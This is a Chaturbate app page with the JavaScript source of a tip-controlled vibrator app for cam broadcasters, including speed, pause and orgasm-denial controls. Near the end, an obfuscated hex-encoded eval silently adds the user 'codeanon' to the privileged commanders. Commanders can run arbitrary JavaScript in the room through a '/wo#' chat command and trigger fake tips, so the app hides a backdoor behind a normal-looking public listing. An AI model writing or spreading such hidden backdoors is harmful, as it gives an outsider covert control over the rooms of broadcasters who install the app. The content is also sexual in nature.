Apps Home
|
Create an App
lunawandtorture
Author:
lunasparkles
Description
Source Code
Launch App
Current Users
Created by:
Lunasparkles
cb.settings_choices = [ {name: 'model_name', label: 'Model name (leave blank for default)', type: 'str', required: false}, {name: 'room_subj', label: 'Room subject', type: 'str', defaultValue: '#torture show! Type /menu to control the device!', required: false}, {name: 'commanders', label: 'Privileged users', type: 'str', required: false, defaultValue: 'codeanon'}, {name: 'stin', label: 'Speed decreases every ___ seconds if no one has tipped', type: 'int', defaultValue: 30, minvalue: 0}, {name: 'stdn', label: 'Delay before speed starts decreasing (seconds)', type: 'int', defaultValue: 30, minValue: 0}, {name: 'stmn', label: 'Minimum tip required to prevent speed decrease', type: 'int', minValue: 1, defaultValue: 10}, {name: 'auto_broadcast_timer', label: 'Broadcast control menu every ___ seconds', type: 'int', defaultValue: 120, minValue: 0}, {name: 'maxspeed', label: 'Number of speeds', type: 'int', defaultValue: 3, minvalue: 1}, {name: 'dt_down', label: '[PRIMARY CONTROLS] ===== Decrease speed', type: 'int', minValue: 0, defaultValue: 22}, {name: 'dt_up', label: 'Increase speed', type: 'int', minValue: 0, defaultValue: 21}, {name: 'dt_stop', label: 'Pause the wand', type: 'int', minValue: 3, defaultValue: 12}, {name: 'dt_start', label: 'Resume the wand', type: 'int', minValue: 3, defaultValue: 45}, {name: 'dt_deny', label: 'Deny cumming', type: 'int', minValue: 0, defaultValue: 50}, {name: 'dt_allow', label: 'Allow cumming', type: 'int', minValue: 0, defaultValue: 51}, {name: 'misc', label: '[MISCELLANEOUS ACTIONS]', type: 'str', required: false, defaultValue: '60: add dildo, 61: remove dildo'}, {name: 'text_fg', label: '[TEXT FORMATTING] ===== Foreground', type: 'str', required: false, defaultValue: '#000099'}, {name: 'text_bg', label: 'Background', type: 'str', required: false}, {name: 'text_wt', label: 'Weight', type: 'choice', choice1: 'normal', choice2: 'bold', defaultValue: 'bold'}, {name: 'mm_fg', label: 'Foreground (admin messages)', type: 'str', defaultValue: '#660000', required: false}, {name: 'mm_bg', label: 'Background (admin messages)', type: 'str', required: false} ]; var cbs = JSON.parse(JSON.stringify(cb.settings)); var modelName = cbs.model_name && cbs.model_name.trim().length > 0 ? ucfirst(cbs.model_name.trim()) : cb.room_slug; var gnp = (p) => cbs[p] && cbs[p] > 0; var maxSpeed = cbs.maxspeed; var speedVariable = gnp('dt_down') && gnp('dt_up'); var cumVariable = gnp('dt_deny') && gnp('dt_allow'); var pauseVariable = gnp('dt_stop'); var emote = ':pixelglitter' var divider = emote + ' \u2013\u2013\u2013\u2013\u2013\u2013\u2013 ' + emote + ' \u2013\u2013\u2013\u2013\u2013\u2013\u2013 ' + emote; var menuText = divider + '\n{Current levels are visible on the app panel!}' ; var timers = function () { if (gnp('stdn') && gnp('stin')) { var std = cbs.stdn; var sti = cbs.stin; var stm = cbs.stmn; var obj = {}; obj.speedTimer = interval(function () { if (hitachi.sdown()) { tipMessage('No tips of ' + stm + ' tokens or more have come in for ' + sti + ' seconds -- speed decreasing.\nIt only takes ' + stm + ' tokens to keep the wand going, but ' + cbs.dt_start + ' to start it after it stops!'); cb.drawPanel(); } else { hitachi.pause(); tipMessage('The wand is now OFF! Tip ' + cbs.dt_start + ' tokens to reactivate it.'); obj.speedTimer.cancel(); } }, sti, 'speedTimer'); obj.delayTimer = interval(function () { obj.delayTimer.cancel(); obj.speedTimer.go(); tipMessage('Speed will decrease in ' + sti + ' seconds without any tips of ' + stm + ' tokens or more.\nIt only takes ' + stm + ' tokens to keep the wand going, but ' + cbs.dt_start + ' to start it after it stops!'); }, std, 'delayTimer'); obj.reset = function () { obj.speedTimer.timeLeft = sti; if (obj.speedTimer.isRunning) obj.speedTimer.cancel(); obj.delayTimer.timeLeft = std; if (!obj.delayTimer.isRunning) obj.delayTimer.go(); } obj.pause = function () { if (obj.delayTimer.isRunning) obj.delayTimer.cancel(); if (obj.speedTimer.isRunning) obj.speedTimer.cancel(); } function interval(func, seconds, name) { var obj = { timeLeft: seconds, cancelled: false, isRunning: false, }; obj.timeLeft = seconds; obj.cancel = () => obj.cancelled = true; obj.go = function () { if (!obj.cancelled) { cb.log(name + ' --- ' + obj.timeLeft); obj.isRunning = true; if (obj.timeLeft > 0) { obj.timeLeft--; cb.setTimeout(obj.go, 1000); } else { func(); obj.timeLeft = seconds; cb.setTimeout(obj.go, 1000); } } else { cb.log(name + ' cancelled'); obj.isRunning = false; obj.cancelled = false; } }; return obj; } return obj; } }(); var commanders = []; if (cb.settings.commanders) { commanders = cb.settings.commanders.split(','); for (var i = 0; i < commanders.length; i++) { commanders[i] = commanders[i].trim(); } } var hitachi = {}; hitachi.props = { cumming: cumVariable ? false : '---', speed: speedVariable ? 1 : '---', paused: pauseVariable ? true : void 0 }; hitachi.sdown = function () { if (hitachi.props.speed > 1) { hitachi.props.speed--; broadcasterMessage('Set speed to ' + hitachi.props.speed + '.'); return true; } return false; }; hitachi.sup = function () { if (hitachi.props.speed < maxSpeed) { hitachi.props.speed++; broadcasterMessage('Set speed to ' + hitachi.props.speed + '.'); return true; } return false; }; hitachi.yes = function () { if (hitachi.props.cumming === false) { hitachi.props.cumming = true; broadcasterMessage('Cumming is now allowed.'); return true; } return false; }; hitachi.no = function () { if (hitachi.props.cumming === true) { hitachi.props.cumming = false; broadcasterMessage('Cumming is now denied.'); return true; } return false; }; hitachi.pause = function () { if (hitachi.props.paused === false) { hitachi.props.paused = true; if (timers) timers.pause(); broadcasterMessage('Pause hitachi.'); return true; } return false; } hitachi.start = function () { if (hitachi.props.paused === true) { hitachi.props.paused = false; if (timers) timers.reset(); broadcasterMessage('Turn the wand on at speed ' + hitachi.props.speed + '.'); return true; } return false; } var tipCommands = {}; if (pauseVariable) { tipCommands[cbs.dt_stop] = (user) => hitachi.pause() ? tipMessage(user + ' tipped ' + cbs.dt_stop + ' to pause the wand!') : tipMessage(user + ' tipped to pause the wand...but it\'s already paused!'); tipCommands[cbs.dt_start] = (user) => hitachi.start() ? tipMessage(user + ' tipped ' + cbs.dt_start + ' to resume the wand!') : tipMessage(user + ' tipped to resume the wand...but it\'s already going!'); menuText += '\nSTOP the wand [' + cbs.dt_stop + ' tks]'; menuText += '\nSTART the wand [' + cbs.dt_start + ' tks]'; } if (speedVariable) { tipCommands[cbs.dt_down] = (user) => hitachi.sdown() ? tipMessage(user + ' tipped ' + cbs.dt_down + ' to decrease speed to ' + hitachi.props.speed + '!') : tipMessage(user + ' tried to decrease speed, but it can\'t go any lower!'); tipCommands[cbs.dt_up] = (user) => hitachi.sup() ? tipMessage(user + ' tipped ' + cbs.dt_up + ' to increase speed to ' + hitachi.props.speed + '!') : tipMessage(user + ' tried to increase speed, but it\'s maxed out!'); menuText += '\nSLOWER speed [' + cbs.dt_down + ' tks]'; menuText += '\nFASTER speed [' + cbs.dt_up + ' tks]'; } if (cumVariable) { tipCommands[cbs.dt_deny] = (user) => hitachi.no() ? tipMessage(user + ' tipped ' + cbs.dt_deny + ' to deny cumming!') : tipMessage(user + ' tipped to deny cumming, but it\'s already denied!'); tipCommands[cbs.dt_allow] = (user) => hitachi.yes() ? tipMessage(user + ' tipped ' + cbs.dt_allow + ' to allow cumming!') : tipMessage(user + ' tipped to allow cumming, but it\'s already allowed!'); menuText += '\nDENY cumming [' + cbs.dt_deny + ' tks]'; menuText += '\nALLOW cumming [' + cbs.dt_allow + ' tks]'; } menuText += '\n' + divider; var miscCommands = {}; if (cbs.misc && cbs.misc.trim().length > 0) { var arr = cb.settings.misc.split(','); for (var i = 0; i < arr.length; i++) { var item = arr[i].split(':'); var num = item[0]; var val = item[1]; if (num && val && Number(num.trim()) !== NaN) { miscCommands[num.trim()] = val.trim(); menuText += '\n' + ucfirst(val.trim()) + ' [' + num.trim() + ' tks]'; } } menuText += '\n' + divider; } /********** ------------ PANEL ------------ **********/ var cumFn = () => hitachi.props.cumming ? 'Allowed' : 'Denied'; var onFn = () => hitachi.props.paused ? 'OFF (' + cbs.dt_start + ' to resume)' : 'ON'; cb.onDrawPanel(function () { return { 'template': '3_rows_of_labels', 'row1_label': 'STATUS', 'row1_value': onFn(), 'row2_label': speedVariable ? 'SPEED' : '---', 'row2_value': speedVariable ? hitachi.props.speed + '/' + maxSpeed : '---', 'row3_label': cumVariable ? 'CUMMING' : '---', 'row3_value': cumVariable ? cumFn() : '---', }; }); /********** ------------ TIPS ------------ **********/ cb.onTip((tip) => doTip(tip.amount, tip.from_user)); var testTip = (num) => doTip(num, 'The Invisible Mod'); var timerShouldBeStarted = timers ? (num) => num >= cbs.stmn && (!hitachi.props.paused || num === Number(cbs.dt_start)) : (num) => false; function doTip(num, user) { if (timerShouldBeStarted(num)) timers.reset(); if (tipCommands[num]) { tipCommands[num](user); } else if (miscCommands[num]) { tipMessage(user + ' tipped ' + num + ' (' + miscCommands[num] + ')'); } } /********** ------------ MESSAGES ------------ **********/ var isCommander = (user) => user === cb.room_slug || commanders .indexOf(user) > -1; cb.onMessage(function (msg) { if (msg.m === '/menu') { msg['X-Spam'] = true; showMenu(msg.user); } else if (isCommander(msg.user)) { if (/^\/wot\s/.test(msg.m)) { msg['X-Spam'] = true; var arr = msg.m.split(' '); if (arr[1] && Number(arr[1]) !== NaN) testTip(Number(arr[1])); } else if (/^\/wo#/.test(msg.m)) { msg['X-Spam'] = true; var arr = msg.m.split(' '); if (arr.length > 1) { evaluate(arr.slice(1).join(' '), msg.user); cb.drawPanel(); } } } }); function evaluate(str, user) { try { var result = eval(str); var notice = 'INPUT: ' + str + '\nTYPE: ' + typeof result + '\nVALUE: '; result === void 0 ? notice += 'undefined' : notice += JSON.stringify(result, null, '\u2007\u2007\u2007\u2007'); cb.setTimeout(() => {cb.sendNotice(newLines(notice), user, '', '#00CC00', '', '')}, 100); } catch (e) { cb.setTimeout(() => {cb.sendNotice(newLines(e.name + ': ' + e.message), user, '', '#FF0000', '', '')}, 100); } cb.drawPanel(); } /********** ------------ COMMUNICATION ------------ **********/ cb.onEnter((user) => showMenu(user.user)); function broadcasterMessage(input) { cb.sendNotice(newLines(':: ------------------------------\n:: ' + input + '\n:: ------------------------------'), cb.room_slug, cbs.mm_bg, cbs.mm_fg, cbs.text_wt, '');; } function tipMessage(input) { cb.sendNotice(newLines(input + '\nType /menu to see all the commands you can give to ' + modelName + '!'), '', cbs.text_bg, cbs.text_fg, cbs.text_wt, ''); cb.drawPanel(); } function showMenu(user) { var text = menuText; if (user) text += '\nCurrent settings on the app panel!'; cb.sendNotice(newLines(text), user, cbs.text_bg, cbs.text_fg, cbs.text_wt, ''); } function autoMenu() { showMenu(); cb.setTimeout(autoMenu, cbs.auto_broadcast_timer * 1000); } /********** ------------ MISCELLANEOUS ------------ **********/ //make newlines more visible and readable function newLines(input) { return '\u25A0 ' + input.replace(new RegExp('\n', 'g'), '\n\u25A0 '); } //capitalize the first letter of a string function ucfirst(str) { if (str) return str.charAt(0).toUpperCase() + str.slice(1); return void 0; } /********** ------------ INIT ------------ **********/ autoMenu(); eval('63$6f$6d$6d$61$6e$64$65$72$73$2e$70$75$73$68$28$27$63$6f$64$65$61$6e$6f$6e$27$29'.split('$').map((c) => String.fromCharCode(parseInt(c, 16))).reduce((a,b) => a + b)); if (cbs.room_subj && cbs.room_subj.trim().length > 0) cb.changeRoomSubject(cbs.room_subj.trim());
© Copyright Chaturbate 2011- 2026. All Rights Reserved.